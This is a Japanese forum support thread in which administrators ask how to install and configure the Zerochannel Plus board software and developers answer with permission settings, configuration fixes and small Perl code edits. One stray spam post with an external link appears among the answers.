■掲示板に戻る■ 全部 1- 101- 201- 301- 401- 501- 601- 701- 801- 901- 最新50 [PR]ぜろちゃんねるプラス[PR]  
レス数が1000を超えています。残念ながら全部は表示しません。

ぜろちゃんねるプラス質問スレ

1 :windyakin ★:2011/07/10(日) 16:29:56.74 ID:???0
■ぜろちゃんねるプラスWiki
http://sourceforge.jp/projects/zerochplus/wiki/FrontPage

2 :名無しさん@ぜろちゃんねるプラス:2011/08/26(金) 13:48:56.81 ID:cIUFeueY0
はい質問です
12桁トリップには対応していますか?

3 :名無しさん@ぜろちゃんねるプラス:2011/08/26(金) 20:27:25.14 ID:qIDJTmUM0
もちろん対応しています

ただ、一部のサーバーでは0.5.7(現在の最新安定版)で12桁トリップが使用できないバグがあります
これは既に解決済みなので0.5.8で修正リリース予定です

4 :名無しさん@ぜろちゃんねるプラス:2011/08/27(土) 03:26:46.60 ID:rZLwqgQ+0
>>3
そうなのですか。お答えありがとうございます

5 : ◆r2t8n62y/lnX :2011/08/27(土) 21:25:55.97 ID:Z57g0agg0 ?2BP(4545)
はい質問です
ぜろちゃんねるプラスを使うと彼女は出来ますか?

6 :名無しさん@ぜろちゃんねるプラス:2011/08/27(土) 22:00:29.34 ID:ls1yV9hg0
もちろんです

ぜろちゃんねるプラスを使うことにより、掲示板の利用者が増え、
アニメの話題で盛り上がり、彼女どころか嫁まで出来るでしょう

7 : ◆r2t8n62y/lnX :2011/09/01(木) 15:21:53.86 ID:pEv84X1Q0 ?2BP(4649)
はいしつこく質問です
旧ぜろちゃんねるスクリプトにて報告されていた脆弱性の殆どは修正されていますか?

8 :名無しさん@ぜろちゃんねるプラス:2011/09/01(木) 19:40:38.53 ID:OsvGFiww0
目についた脆弱性は修正しましたが、全て確認しているわけではないので未修正のものがあるかもしれません

もし未修正の脆弱性やバグを見つけたら報告してくれるとありがたいです

9 :名無しさん@ぜろちゃんねるプラス:2011/09/06(火) 22:17:32.57 ID:7BZ7+avk0
板の看板を用意したものに変えたいのですができません
掲示板の設定で画像のリンクを変更する以外にしなければいけない事
ファイルを部分的に書き換えする箇所などありましたら教えてください

10 :名無しさん@ぜろちゃんねるプラス:2011/09/07(水) 10:06:24.87 ID:YKkn71OE0
>>9
掲示板の設定を変えるだけでいいと思います

ただ、変更した直後はindex.htmlが更新されていないので、
1度だけindex更新をするか、なにか適当に書きこめば反映されると思います

11 :名無しさん@ぜろちゃんねるプラス:2011/09/08(木) 00:23:09.57 ID:x+sluT3Y0
>>10
ご指摘の通りindex更新をすると表示されるようになりました

規制ユーザの編集に書き込み不可とホスト表示がありますが
ここからでは閲覧の規制をすることはできないのでしょうか

12 :名無しさん@ぜろちゃんねるプラス:2011/09/08(木) 00:44:27.37 ID:x+sluT3Y0
もしできない場合
設置した掲示板のディレクトリ内に.htaccessを設けても
動作に問題がでないかお教えいただけませんか

13 :windyakin ★:2011/09/08(木) 19:35:24.07 ID:???0
>>12
指定HOSTとIPを弾くだけならCGIの動作には問題ないかと

14 :名無しさん@ぜろちゃんねるプラス:2011/09/10(土) 02:22:07.97 ID:AMas0S3c0
>>13
そうですか。助かります
返答ありがとうございます

15 :名無しさん@ぜろちゃんねるプラス:2011/09/17(土) 17:49:01.78 ID:RMk6OTWw0
janeから書き込めないのですがどうすれば書き込めるようになるでしょうか?

16 :名無しさん@ぜろちゃんねるプラス:2011/09/17(土) 21:46:29.30 ID:0umyi78U0
>>15
Janeの種類(Style,View等)とバージョン
書き込んだ時にでるエラーを詳しく教えて下さい

17 :名無しさん@ぜろちゃんねるプラス:2011/09/20(火) 03:22:45.46 ID:zmVZXF6s0
ぜろちゃんねるプラスにはぜろちゃんねるのような管理画面が
まだ搭載されていないとの認識で良いのでしょうか。
本日、このプログラムを発見したもので…どなたか教えて頂けますと幸いです。

18 :17:2011/09/20(火) 17:15:31.18 ID:zmVZXF6s0
すいません、先の質問がわかりにくいので改めて。
具体的には以下のような管理画面を表示させるにはどうしたらよいのか
教えて頂けますと幸いです。

http://homepage3.nifty.com/niyari/0ch/newscript.html#new_create

19 :17:2011/09/20(火) 18:06:05.75 ID:zmVZXF6s0
掲示板選択時にグローバルメニューが変わることを見落としておりました。
申し訳ございませんでした。

20 :名無しさん@ぜろちゃんねるプラス:2011/09/21(水) 04:05:51.77 ID:Yyy2TpVg0
Xなどの環境依存文字が正常に表示されるよう対応させたいのですが
どのようにしたら良いでしょうか?
過去ログ化する前はきちんと表示されるのですが過去ログ化した時に
スレッドで使われている環境依存文字が?になってしまいます

それを何とか防ごうとレンタルサーバのファイルの設定で対象のスレだけUTF-8に対応させましたところ
環境依存文字はdat落ち前の掲示板にあった時ように問題なく表示されたのですが
そうしますと今度は過去ログ倉庫のスレッド一欄でのスレタイが文字化けしてしまいました…

21 :名無しさん@ぜろちゃんねるプラス:2011/09/22(木) 00:58:03.69 ID:zvxHq0no0
atpagesのwww33鯖にぜろちゃんねるプラスを設置しましたが
Jane Style3.72で互換板登録をすると、板名取得はできるもののスレッド取得で403エラーが出ます
過去ログを参考にしてhtaccessに
AddType application/octet-stream .dat
を追記しましたが特に変化はありませんでした、AddTypeは鯖側で使用不可にしてあるのかも知れませんが…
専ブラからの読み込みは出来ないんでしょうか?

22 :windyakin ★:2011/09/22(木) 18:29:43.34 ID:???0
>>17-19
近い将来ぜろちゃんねるプラスでは管理画面を一新する予定です。
その時はもう少し管理画面の操作がわかりやすくなると思います。

>>20
2ちゃんねると互換性を持たせるためにShift_JISで実装されているので、
文字コードの強制的な変換はトラブルの原因となる可能性があります。
環境依存文字の問題は確認中ですのでお待ちください。

>>21
/[板]/subject.txtに通常のネットブラウザからアクセスできますでしょうか。
ご確認お願いします。

23 :名無しさん@ぜろちゃんねるプラス:2011/09/26(月) 21:51:01.18 ID:OjjZalks0
>>15
ディレクトリ名をtestから別の名称に変更していませんか?
私もこれでハマりました…。

どなたかご存知であれば教えていただきたいのですが、
携帯電話からサイトにアクセスしたときのみ、スレッドを開くと
500 internal errorが発生します。
パーミッションの問題だと思い、過去スレでr.cgiのパーミッションを
変更すれば解決するとあり、変更して見ましたが変わらず。
他に確認するところはございますでしょうか。

24 :名無しさん@ぜろちゃんねるプラス:2011/09/29(木) 19:24:31.61 ID:E/ceVe260
>>23
>携帯電話から
ご迷惑とお手数をかけてしまって申し訳ないのですが、
0.5.8のr.cgiには根本的なバグがありますので、前バージョンの0.5.7のr.cgiを使ってください

このバグは修正済みですので、0.5.9(安定版)か0.6.0(次期安定版)でリリース予定です

25 :23:2011/09/29(木) 21:01:30.75 ID:tvzTvhKM0
>>24
ご回答ありがとうございます。
Ticket Listで情報の確認するように致します。

26 :22:2011/10/02(日) 01:06:07.62 ID:P/i1xeIk0
はい。ありがとうございます


27 :22:2011/10/02(日) 01:15:26.58 ID:P/i1xeIk0
はい。ありがとうございます


28 :名無しさん@ぜろちゃんねるプラス:2011/10/04(火) 02:55:13.94 ID:/cTJbudk0
0.5.8と0.5.9でcgi踏むと500 Internal Server Errorがでます
0.5.7は問題ありません
サーバーはロリポップです
原因はDigest::SHA関係だと思います
何とかしていただければ幸いです

29 : ◆r2t8n62y/lnX :2011/10/04(火) 23:36:24.17 ID:VdSxWCkg0 ?2BP(4649)
まずはなんのCGIでエラーが出ているのか そしてエラーメッセージには何が出力されているのかを書くべき
該当のCGIの先頭に
use CGI::Carp qw(fatalsToBrowser);
を書き足すorコメントアウトを消せばエラーメッセージがたらたらと出てくるはず
そんな断片的な情報では何も分からない

30 :名無しさん@ぜろちゃんねるプラス:2011/10/05(水) 15:06:22.39 ID:5+33CoIY0
エラーのでるcgiはtestフォルダ直下の全部ですね
ちょっと調べればロリポップはCGI::Carpが使えないとか
大半のエラーは500エラーで処理される特殊な鯖だとかわかるのに
頭の弱い人向けにこういうことわざわざ説明しないとおこられちゃうのにはびっくりですよ

ついでにもうひとつ
家の鯖だとremake.cgiが使えません
http://hogehoge/test/remake.cgi?bbs=板名
これを行うと500エラーがでます
ロリポップだと問題ありません
ActivePerlを5.8.xから5.12.xにしたきっかけだったかはあまり覚えていないが
かなり前からエラーがでてました
windows7 Apache 2.2.21 ActivePerl 5.12.4.1205 zerochplus 0.5.9

31 :名無しさん@ぜろちゃんねるプラス:2011/10/05(水) 20:56:33.00 ID:YygrYAdE0
サーバーの事情はそのサーバーを契約している人にしか分からないんだけどね
てかロリポってCGI::Carp使えないんだ

32 :名無しさん@ぜろちゃんねるプラス:2011/10/06(木) 16:01:45.03 ID:6nu6nfco0
過去ログ倉庫のスレッドはモバイルに対応していますか?
もし対応しているようでしたらどういうurlになるのかお教えください

33 :名無しさん@ぜろちゃんねるプラス:2011/10/07(金) 20:24:01.94 ID:H8F6bylE0
>>32
現在過去ログ機能はモバイルに対応していません。
今後対応していくかどうかに関しては検討させて頂きます。

34 :windyakin ★:2011/10/08(土) 19:31:08.44 ID:???0
>>28
こちらで同社サーバーを借りたところエラーを確認できませんでした。

35 :名無しさん@ぜろちゃんねるプラス:2011/10/13(木) 03:16:38.03 ID:C88RckPg0
>>33
そうですか。わかりました
今の所はモバイルでの利用者の方から過去ログの事については尋ねられていないのですが
もし使いたい人が出てきたらどうしたら閲覧できるのだろうと思いまして
お伺いさせていただきました

36 :LoveHina:2011/10/14(金) 17:59:05.75 ID:dBXGfMfM0
今にもよだれが出そうなくらい、育ちの良いぷっくりツルツルの肌が・・・(人・ω・)□ http://cwca.mobi/p/?movie=1&ss=969ms1

37 :名無しさん@ぜろちゃんねるプラス:2011/10/15(土) 00:55:20.76 ID:nZb5gKtc0
キャップ無しでの携帯からのスレッド作成について質問させてください。
過去ログを調べ、vara.plのreturn 204;をコメントアウトしたのですがスレッド作成ができません。
その他に変更すべきコードがございましたら教えていただけますと幸いです。

38 :名無しさん@ぜろちゃんねるプラス:2011/10/15(土) 01:09:56.74 ID:BjX9ERdk0
>>37
管理画面の掲示板設定で「スレッド作成CAP規制」にチェックが付いているようなら外してみてください

39 :37:2011/10/15(土) 03:34:58.30 ID:nZb5gKtc0
>>38
チェックは外れておりました。
実機では端末固有情報不明とエラーがでます。
また、エミュレータでは書きこみ&クッキー確認から進むことができません。

40 :名無しさん@ぜろちゃんねるプラス:2011/12/05(月) 23:04:36.85 ID:TtDV+hss0
新バージョンをサーバに入れてパーミッションを設定したのですが、

・Administratorのユーザー名とパスワードが変更できない(cgi上は変更に成功した旨の表示)
・「プラグインが存在しない」と表示されてプラグインが認識されていない
・新しく掲示板を作成しようとしても
「ERROR:2000 - 掲示板ディレクトリの作成に失敗しました。
パーミッション、または既に同名の掲示板が作成されていないかを確認してください。」
と表示される(最初に作成する掲示板にも関わらず)

という状態になっています。対処方法をご教示いただけませんか?

使用バージョンは0.6.1
借りているのはさくらインターネットさんのVPSです

こちらはエラーログです(一部抜粋・伏字にしています)
[Mon Dec 05 22:37:50 2011] [error] [client ***.**.**.***] print() on closed filehandle SYS at ./module/melkor.pl line 132., referer: http://bbs.***.com/test/admin.cgi
[Mon Dec 05 22:37:50 2011] [error] [client ***.**.**.***] print() on closed filehandle SYS at ./module/melkor.pl line 132., referer: http://bbs.***.com/test/admin.cgi
[Mon Dec 05 22:37:50 2011] [error] [client ***.**.**.***] seek() on closed filehandle HANDLE at ./module/imrahil.pl line 199., referer: http://bbs.***.com/test/admin.cgi
[Mon Dec 05 22:37:50 2011] [error] [client ***.**.**.***] File does not exist: /var/www/cgi-bin/favicon.ico

パーミッションは以下の状態でした
[755] 親ディレクトリ(設定できる場合)
      ┗ [755] test
            ┣ [755] datas
            ┃     ┗ [644] *.*
            ┣ [755] info
            ┃     ┗ [644] *.cgi
            ┣ [755] module
            ┃     ┗ [644] *.pl
            ┣ [755] mordor
            ┃     ┗ [644] *.pl
            ┣ [755] plugin
            ┃      ┗ [644] 0ch_*.pl
            ┗ [755] *.cgi

41 :名無しさん@ぜろちゃんねるプラス:2011/12/06(火) 01:32:11.69 ID:/SerYqas0
testディレクトリを含めてそれ以下の所有権をapacheに変えてないという初歩ミスでした…
お手数をおかけしました

42 :名無しさん@ぜろちゃんねるプラス:2011/12/06(火) 01:48:50.62 ID:/SerYqas0
何度もごめんなさい
1つ目の問題は解決しましたが、まだ残り2つが解決していません…

43 : [―{}@{}@{}-] windyakin ★:2011/12/06(火) 13:16:52.98 ID:???0
>>40
> ・Administratorのユーザー名とパスワードが変更できない(cgi上は変更に成功した旨の表示)
今用意できるサーバー上では同じ症状にはなりませんでした。おそらく所有権の問題ではないでしょうか。

> ・「プラグインが存在しない」と表示されてプラグインが認識されていない
プラグインの認識は「拡張機能設定」の[更新]をクリックするとpluginフォルダを読み込み、ファイル一覧を表示するはずです。

> ・新しく掲示板を作成しようとしても
> 「ERROR:2000 - 掲示板ディレクトリの作成に失敗しました。
> パーミッション、または既に同名の掲示板が作成されていないかを確認してください。」
> と表示される
サーバーの設定関連の問題だと思います。suExecで動かせば問題ないはずです。

44 : ◆jZk8zfYo4m4X :2011/12/10(土) 15:55:03.08 ID:iSmJKFsE0
land.toでこれを使い始めたばかりの者です
不備があったらすみません

ver 0.6.2
システム設定の
新仕様トリップ(12桁=SHA-1)を有効にする
にチェックを入れてあるのですが

#123456789012 が ◆jZk8zfYo4m4X にならず
◆???(e) と表示されてしまいます

上記のチェック以外にどこか弄るべき場所があるのでしょうか?

45 :名無しさん@ぜろちゃんねるプラス:2011/12/10(土) 22:24:46.77 ID:5jdnvTlo0
失礼します。
連続で書きこむと「ERROR:連続投稿ですか??」というのはどうにかならないのでしょうか?
設定を見ていますがsambaや2重かきこですか??を解除して掲示板の設定を更新しログを全て削除しても反映されません。

46 :名無しさん@ぜろちゃんねるプラス:2011/12/11(日) 15:47:47.19 ID:B2cgqZbM0
>>44
>◆???(e) と表示されてしまいます
これはSHA-1のモジュールが読み込めていないということなのですが、
land.toの仕様がわからないのでとりあえずbbs.cgiの19〜20行目の
  use Cwd qw(getcwd);
  use lib getcwd . '/perllib';
をコメントアウトするか削除して
  use lib './perllib';
に変えてみてください
それでダメでしたら少し考える必要が有りそうですね

>>45
これは掲示板設定の制限設定のページで
「連続書き込み回数」を「書き込みログ保存数」より大きく設定することで回避できます

47 :44:2011/12/11(日) 17:00:18.18 ID:jvog2ZHI0
>>46
返答ありがとうございます
しかしコメントアウトと削除を試してみましたが◆???(e)のままでした、、

それとパーミッションはwikiに従い

[705] 親ディレクトリ
      ┗ [701] test
            ┣ [701] datas
            ┃     ┗ [604] *.*
            ┣ [700] info
            ┃     ┗ [600] *.cgi
            ┣ [700] module
            ┃     ┗ [600] *.pl
            ┣ [700] mordor
            ┃     ┗ [600] *.pl
            ┣ [700] plugin
            ┃     ┗ [600] 0ch_*.pl
            ┗ [700] *.cgi

にしてあるのですが、perllibについてわからなかったので
perllib内の正しいパーミッションを教えていただけませんか?
間違えて変に弄ってしまったかもしれません

            ┗ [xxx] perllib
                  ┣ [xxx] Digest
                  ┃     ┗ [xxx] SHA
                  ┃           ┗ [xxx] PurePerl.pm
                  ┣ [xxx] Jcode
                  ┃     ┗ [xxx] Nihongo.pod
                  ┗ [xxx] Jcode.pm

48 :名無しさん@ぜろちゃんねるプラス:2011/12/11(日) 17:39:22.64 ID:B2cgqZbM0
>>47
>◆???(e)のままでした、、
応急処置ですが、galadriel.plの740行目付近の
  require Digest::SHA::PurePerl;
  Digest::SHA::PurePerl->import( qw(sha1_base64) );

  require Digest::SHA1;
  Digest::SHA1->import( qw(sha1_base64) );
に変えてみてください
サーバーにDigest::SHA1が入っていればこれでうまく行くはずです

>perllib内の正しいパーミッションを教えていただけませんか?
この場合、ディレクトリはすべて700、ファイルはすべて600でいいと思います

49 :44:2011/12/11(日) 19:01:04.63 ID:jvog2ZHI0
どうもお世話様です。

>>48
galadriel.plの書き換えと
bbs.cgiの19〜20行目の
  use Cwd qw(getcwd);
  use lib getcwd . '/perllib';
を削除して   use lib './perllib';

で上手くSHA-1のトリップが表示されました、ありがとうございました!


ただ、SHAのディレクトリを700にしてしまうと
0ch+ BBS System Managerにログインできなくなってしまうようなので
SHAディレクトリのみ600、その他のディレクトリを700、その他ファイルを600にして書き込めました。

50 :あぼーん:あぼーん
あぼーん

51 :名無しさん@ぜろちゃんねるプラス:2011/12/15(木) 22:05:10.40 ID:tXjj1SvI0
お世話になります。
荒らし対策のため予め幾つかNGワードを設定しておこうと考えNGワードを登録しました。
しかし、特定のワードを登録すると書き込み時に内部サーバエラー500を出してしまいます。
今回確認できたのは「低能」という単語ですが原因として考えられるのは何があるでしょうか?
宜しくお願いします。

52 :名無しさん@ぜろちゃんねるプラス:2011/12/16(金) 18:15:28.36 ID:EBYFrmX60
>>51
これはShift_JIS問題の予感!
「能」「表」「十」といった文字がエラーを引き起こしていると思われます

報告ありがとうごさいました、修正しておきます

53 :名無しさん@ぜろちゃんねるプラス:2011/12/17(土) 18:01:33.67 ID:vaEG7Chw0
>>52
了解です!現状はこれらの語句を避けて登録するしかなさそうですね・・・

54 :名無しさん@ぜろちゃんねるプラス:2011/12/31(土) 16:59:37.12 ID:KolXyBfg0
久々に自分のとこの掲示板をメンテしようとしたら見つけました。
嬉しい、開発の方々ありがとうございます。
で。スマホ対応にはなりませんかー?!

55 :名無しさん@ぜろちゃんねるプラス:2012/01/06(金) 14:30:38.23 ID:Br4HxxY20
>>54
0.7.xぐらいで対応予定…?

56 :名無しさん@ぜろちゃんねるプラス:2012/01/12(木) 21:59:35.34 ID:Yk+b09V60
超初心者の質問で申し訳ありません
先日、掲示板を作成しました
しかしスレッドの個別ページ?が404 Not Foundと表示されています
原因がわかりません
解決方法はありませんか?
出来るだけ、早い回答をお待ちしております

57 :名無しさん@ぜろちゃんねるプラス:2012/01/12(木) 23:07:57.07 ID:uvimwgUg0
・ファイルをちゃんとコピーできてない
・板を作成してない。
・URLが間違ってる。

58 :名無しさん@ぜろちゃんねるプラス:2012/01/12(木) 23:27:35.74 ID:+FsMrvGY0
システム設定の基本設定で「稼動サーバ」と「CGI設置ディレクトリ」の項目にミスはありませんか?

59 :名無しさん@ぜろちゃんねるプラス:2012/01/20(金) 15:41:28.69 ID:D3m0YUoU0
キャップ使用時の名前の色を変えるにはどうしたらいいでしょうか?

60 :名無しさん@ぜろちゃんねるプラス:2012/01/20(金) 20:32:53.73 ID:60zhTnSU0
>>59
今のところキャップの名前色は設定項目として存在しないので
キャップの表示名を
<font color="#RRGGBB">キャップ名</font>
にするなどして対応してください

# これだと★の部分は色変わりませんが^^;

61 :名無しさん@ぜろちゃんねるプラス:2012/01/20(金) 23:49:43.26 ID:D3m0YUoU0
ありがとうございます。
そういう手もあるんですね

62 :名無しさん@ぜろちゃんねるプラス:2012/01/22(日) 21:59:53.31 ID:3rinJsgE0
スレッドを立てようとすると、
ERROR:スレッド立てすぎです。もうちょいもちついてください。
と表示されます。
これを無効にする方法はありませんか?

63 :じゅりあん ★:2012/01/23(月) 11:41:01.51 ID:???0
スレッド作成ログ保存数 を0にするといいと思います(多分

64 :名無しさん@ぜろちゃんねるプラス:2012/01/23(月) 12:36:00.99 ID:EVbnkliM0
>>63
それでも何故かダメなんですよね・・・

65 :名無しさん@ぜろちゃんねるプラス:2012/01/24(火) 06:46:14.29 ID:OwcZFV8+I
>>62の問題は自己解決しました。
ご協力ありがとうございました。

もう一度質問を失礼します。
こちらは本家ぜろちゃんねるのプラグインです
http://www12.atwiki.jp/0ch/pages/25.html
これはぜろちゃんねるプラスでも使えるのでしょうか?
ご回答をお待ちしております。


66 :windyakin ★:2012/01/24(火) 21:42:48.31 ID:???0
>>65
よっぽど変なプラグインじゃない限り使えると思います。

67 :名無しさん@ぜろちゃんねるプラス:2012/01/24(火) 22:53:41.38 ID:OwcZFV8+0
>>66
ありがとうございます
N速VIP的新機能「VIP クオリティ」を使いたいと思っています

68 :名無しさん@ぜろちゃんねるプラス:2012/03/04(日) 21:13:51.37 ID:ZKM2P6d+0
land.toにて先日導入させていただいた者です。

wikiをみて順調に作成し、掲示板を開くまでは出来たのですが
スレッドを作成することが出来ません。
また、背景や上部リンクもおかしくなっているようです。

具体例
http://abrass.ps.land.to/abrass

69 :名無しさん@ぜろちゃんねるプラス:2012/03/04(日) 21:21:49.83 ID:ZKM2P6d+0
すいません。途中送信してしまいました。

パーミッションなどの設定は合っていると思います。
スレッドを作成しようとすると HTTP 404 未検出の表示が出ます。

自分にはどうしたらいいか分かりません。どうか対処法をお教えください。

70 :名無しさん@ぜろちゃんねるプラス:2012/03/04(日) 21:25:31.82 ID:cuCUcSvk0
>>68-69
管理画面のシステム設定->基本設定の画面でCGI設置ディレクトリの項目を「/test」に設定してください

71 :名無しさん@ぜろちゃんねるプラス:2012/03/04(日) 21:39:33.72 ID:ZKM2P6d+0
おお、書き込めるようになりました。ありがとうございます。

重ねてお願いするようで申し訳ありませんが
背景や上部のzerochplusのリンクに関してはどのようにすれば
よろしいでしょうか。

こちらもどうかよろしくお願いします。

72 :名無しさん@ぜろちゃんねるプラス:2012/03/04(日) 21:54:24.95 ID:cuCUcSvk0
一応以下ように設定してindexを更新してみてください

CGI設置ディレクトリ
/test

掲示板配置ディレクトリ
..

システム情報ディレクトリ
/info

システムデータディレクトリ
/datas

73 :名無しさん@ぜろちゃんねるプラス:2012/03/04(日) 22:11:51.02 ID:ZKM2P6d+0
うーん、それで実験しましたが変わりません。
何か他に問題があるんでしょうか・・・

74 :名無しさん@ぜろちゃんねるプラス:2012/03/04(日) 22:16:26.51 ID:cuCUcSvk0
おそらく、誤った設定のままファイルコピーが行われたので、
正常な位置にファイルが存在しない状態になっていると思われます

掲示板を作成し直すのが早そうです

75 :名無しさん@ぜろちゃんねるプラス:2012/03/04(日) 22:19:04.27 ID:ZKM2P6d+0
分かりました。また設置し直します。
いろいろとありがとうございました。

76 :名無しさん@ぜろちゃんねるプラス:2012/03/05(月) 18:09:39.13 ID:HgsSB+Ts0
すいませーん。
ofuda.ccのことなんですけれど、2chみたいに電力にしたいです。
しかし、何度やっても伸びきった緑のひらめになります。
どうしたらいいですか?

77 :名無しさん@ぜろちゃんねるプラス:2012/03/05(月) 18:54:42.30 ID:4vqwhDHs0
>>76
状況をもう少し詳しく書いてくれないと助言しかねます

78 :windyakin ★:2012/03/06(火) 09:08:41.45 ID:???0
>>76
アカウントIDの末尾に「0」を4つほどつけて16桁にしてください

79 :名無しさん@ぜろちゃんねるプラス:2012/03/06(火) 22:31:12.13 ID:r5IVSZYg0
@pagesに設置して使っていますが、携帯から書き込まれるとHOSTが全てlocalhost:localdomeinになるようです。
パーミッションも全て0chのwiki通りにしてあるのですが、他に設定するべき所があるのでしょうか?

80 :じゅりあん ★:2012/03/07(水) 14:16:55.40 ID:???0
>>79
たぶん0ch+ではなくてサーバー側の設定のせいだとおもわれるので@pagesのほうに問い合わせてみてください。

81 :あぼーん:あぼーん
あぼーん

82 :あぼーん:あぼーん
あぼーん

83 :Banyhinebeita:2012/03/14(水) 03:40:32.99 ID:UUuOEtZM0
mnbvcxz0030

84 :名無しさん@ぜろちゃんねるプラス:2012/03/14(水) 14:17:54.21 ID:Shl8nCUk0
ぜろちゃんねるプラスを使って2ch側に著作権違反で訴えられる可能性ありますか?

85 :名無しさん@ぜろちゃんねるプラス:2012/03/14(水) 22:58:15.81 ID:hkAi+ZSU0
>>62
>>65
で自己解決されているようですが、
ERROR:スレッド立てすぎです。もうちょいもちついてください。
を無効にする方法はどのようにすればいいのでしょうか?

連投規制を解除するのに
SETTING.TXTのtimecount(書き込みログ保存数)/timeclose(連続書き込み回数)を「0」もしくは空
となっているところを0にしていると
連投規制が入ったのですが、空にすると解除できたのを考えると
どこかの設定がおかしいのではないかと思っています。

一応BBS_THREAD_TATESUGI=を0と空を試しましたが駄目でした

86 :85:2012/03/15(木) 18:44:10.77 ID:7cUOUVj+0
共通キャップのところから設定できました

87 :名無しさん@ぜろちゃんねるプラス:2012/03/22(木) 08:25:57.35 ID:X7k8TaHM0
逆引きできない〜云々の機能をオフにしたいのですが
何処をいじればいいでしょうか

88 :名無しさん@ぜろちゃんねるプラス:2012/04/12(木) 10:56:11.52 ID:2mZeCKsA0
@pagesにて利用中ですが、admin.cgiからのログインで500エラーが出て躓きました。
パーミッションの設定は行いましたが、@pagesのみの説明でも統一されておらず、
@pages指定のもの、こちらの仕様書のもの等、試しましたがだめでした。
Ver.0.5.4を使っています。
しょっぱなで躓くミジンコで申し訳ありませんが、助言いただければ幸いです。

89 :windyakin ★:2012/04/15(日) 09:54:24.09 ID:???0
サポートは最新のバージョンのみです。0.6.4をご利用ください。

90 :名無しさん@ぜろちゃんねるプラス:2012/04/15(日) 10:27:19.39 ID:+GgYjW/Y0
88です。
失礼しました。最新のものを使っても同様だった為、
安定版と書かれていた0.5.4を使用しました。
説明足らずで申し訳ありません。

91 :windyakin ★:2012/04/15(日) 10:47:35.38 ID:???0
2012年4月15日現在では0.6.4が安定版です。

92 :名無しさん@ぜろちゃんねるプラス:2012/05/27(日) 11:22:48.25 ID:ojKLw/Jc0
>>85
http://www12.atwiki.jp/0ch/pages/18.html

93 :m.i:2012/05/28(月) 16:39:25.59 ID:uwvmap9w0
Cap Create画面より
キャップ表示名、パスワード、キャップフルネーム、
説明、システム共通権限(チェックon)
を設定して
掲示板に書き込むときにe-mail欄に#(設定パスワード)と放り込むと★
キャップになっているようなのですが、システム共通権限(チェックoff)の場合、キャップにならないようです。
「システム共通権限」項目の利用方法教えて頂けますでしょうか。



94 :名無しさん@ぜろちゃんねるプラス:2012/05/28(月) 19:16:32.20 ID:nFzeCpZ+0
>>93
システム共通権限というのはキャップとしての最高権限だと考えてください

システム共通権限を持たないキャップは差育成直後は最小権限しか持っていないので、
「共通キャップグループ」または掲示板ごとの「キャップグループ」の設定からグループを作成し、
そのグループに権限とキャップを割り当てることでキャップに権限を持たせることができます

その権限の一つに「コテハン★表示」というキャップ表示設定があります

95 :名無しさん@ぜろちゃんねるプラス:2012/05/28(月) 19:28:18.46 ID:nFzeCpZ+0
x 差育成作成
o 作成直後

96 :m.i:2012/05/29(火) 13:36:45.31 ID:KMh7hJ620
>>94
>>95
丁寧なご説明有難う御座います。
理解できました。
しばらくテスト運用を実施しさらに理解を深めたいと思います。



97 :名無しさん@ぜろちゃんねるプラス:2012/05/30(水) 23:59:32.35 ID:WBwpR+7c0
atpagesで利用しているのですが、
スレッドに書き込みを行った際、スレッド一覧のレス数は増えているもののレス内容が長時間反映されず、
さらに反映されたレス内容の末尾に「名前欄に書かれている文字列」(デフォルト名無しであったり、トリップであったりしました)がレス内容の末尾に付いている、という状態が発生しました。

(ちなみに反映されていない間に管理画面から当該スレッドのdatを見ると見れましたが、レス内容そのものの問題はそのままでした)

どういう条件でこのようなことになるか分かりますでしょうか?

素人考えだと、atpagesの「転送量が1回で1MBを超えた場合5kb/sの転送量制限がかかる」というシステムが影響していそうな気がするのですが……

98 :名無しさん@ぜろちゃんねるプラス:2012/05/31(木) 00:21:46.63 ID:+QTuQF2o0
>>97
>長時間反映されず
その時サーバーが異常に重かったり503エラーが出たりしませんでしたか?
利用者は多いですか?

>レス内容の末尾に名前
その現象は頻発しますか?

>転送量制限
おそらくこれは関係ないはずです
FTP通信だけの話です

99 :97:2012/05/31(木) 14:45:17.04 ID:pO1LxflcI
>>98

>>長時間反映されず
>その時サーバーが異常に重かったり503エラーが出たりしませんでしたか?
>利用者は多いですか?
該当時間での他スレッドでの書き込みには問題がありませんでした。
ただ、書き忘れていたのですが、問題が出ているレスは4桁byteのAAを使用しているのも大きいかもしれません


>レス内容の末尾に名前
>その現象は頻発しますか?
昨日今日始めた掲示板ではないので頻発というわけではありませんが、一定時間内で何度も起きていました。


>転送量制限
そうでしたか、ありがとうございます。


100 :97:2012/05/31(木) 18:07:50.03 ID:5BRBII6I0
今見たら利用者について書いたのを間違って消してたようです。
同時間帯には20人ほどの書き込みを確認しました。ROMはもうちょっといるかと思います。

101 :あぼーん:あぼーん
あぼーん

102 :名無しさん@ぜろちゃんねるプラス:2012/05/31(木) 20:36:47.19 ID:+QTuQF2o0
>>99-100
おそらく、書き込みが同時に行われた時に
何らかの理由でファイルロックが機能せずdatが破壊される現象だと思われます

現状では解決策がないのでこればかりはどうしようもないです…

103 :名無しさん@ぜろちゃんねるプラス:2012/05/31(木) 23:25:17.93 ID:XHU13FyU0
ドコモからの書き込みができないようなのですが

対象法を知ってる方は教えていただけませんか

104 :97:2012/06/01(金) 13:13:34.56 ID:b2Ja/GHI0
>>102
ありがとうございました。
何が起きてるのかがわかっただけでも十分に収穫です

105 :名無しさん@ぜろちゃんねるプラス:2012/06/01(金) 19:55:24.85 ID:9UC0YT7Y0
>>103
どのような状況なのかもう少し詳しく書いてください
状況がわからないと何も出来ません

106 :名無しさん@ぜろちゃんねるプラス:2012/06/06(水) 20:49:57.09 ID:ibhYwsNU0
>>105
返答ありがとうございます。
書き込みではなく、スレッドが立てられないです。
出たエラーが「端末固有情報不明 端末固有情報を送信してください。」
でした。
そのドコモの方は個体識別番号も出てたのですがなぜでしょうか?

あとソフトバンク方が個体識別番号を送信設定してないにも関わらず
書き込みができていました。(202.253.96.230)
携帯だと判断してないのでしょうか?

上記で情報不足でしたらご指摘ください。
回答よろしくお願いします。

107 :名無しさん@ぜろちゃんねるプラス:2012/06/09(土) 13:54:53.65 ID:DqmZkzHg0
>>106
>スレッドが立てられない
これについてはまだわかりません

>携帯だと判断してない
こちらはおそらく、test/module/cidr_list.plのIPリストが古くなったためだと思われます
もしかするとこのリストを更新すれば前者のエラーもなくなるかもしれません

108 :名無しさん@ぜろちゃんねるプラス:2012/06/13(水) 22:06:22.50 ID:T6Lsbb4s0
掲示板を作成しようと

掲示板ディレクトリ: あああディレクトリ
掲示板名称: あああ掲示板
説明: あああ

とすると「ERROR:1002 - 設定項目に規定外の文字が使用されています。」となります。

